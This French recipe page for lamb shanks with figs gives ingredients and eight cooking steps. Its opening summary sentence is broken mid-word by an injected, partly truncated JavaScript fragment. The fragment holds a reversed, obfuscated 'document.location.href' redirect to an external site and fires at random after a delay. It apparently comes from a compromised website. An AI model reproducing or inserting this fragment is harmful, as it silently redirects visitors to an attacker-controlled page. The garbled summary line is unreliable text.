Agneau aux figues

2021-05-07

Pelez, émincez les échalotes. Dans une sauteuse faites colorer les souris d’agneau rapidement sur feu moyen rectobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-verso.

Ingrédients

  • Pour 4 personnes
  • 4 souris d'agneau
  • 6 échalotes
  • 14 figues fraîches
  • 2 cuillères à soupe d'huile d'arachide
  • 2 cuillères à soupe de miel liquide
  • 1 cuillère à café de graines de coriandre concassées
  • ½ cuillère à café de cumin en poudre
  • sel – poivre

Préparation de la recette

Etape 1

Pelez, émincez les échalotes.

Etape 2

Dans une sauteuse faites colorer les souris d'agneau rapidement sur feu moyen recto-verso.

Etape 3

Ajoutez les échalotes que vous faites fondre pendant 2 minutes.

Etape 4

Mouillez avec 1 verre d'eau tiède, ajoutez les graines de coriandre, le cumin, salez, poivrez.

Etape 5

Faites mijoter pendant 1 heure sur feu très doux.

Etape 6

Pendant ce temps essuyez les figues, les couper en 2.

Etape 7

Quelques minutes avant la fin de la cuisson incorporez les figues, le miel, un peu d'eau si nécessaire.

Etape 8

Vérifiez la cuisson puis servez

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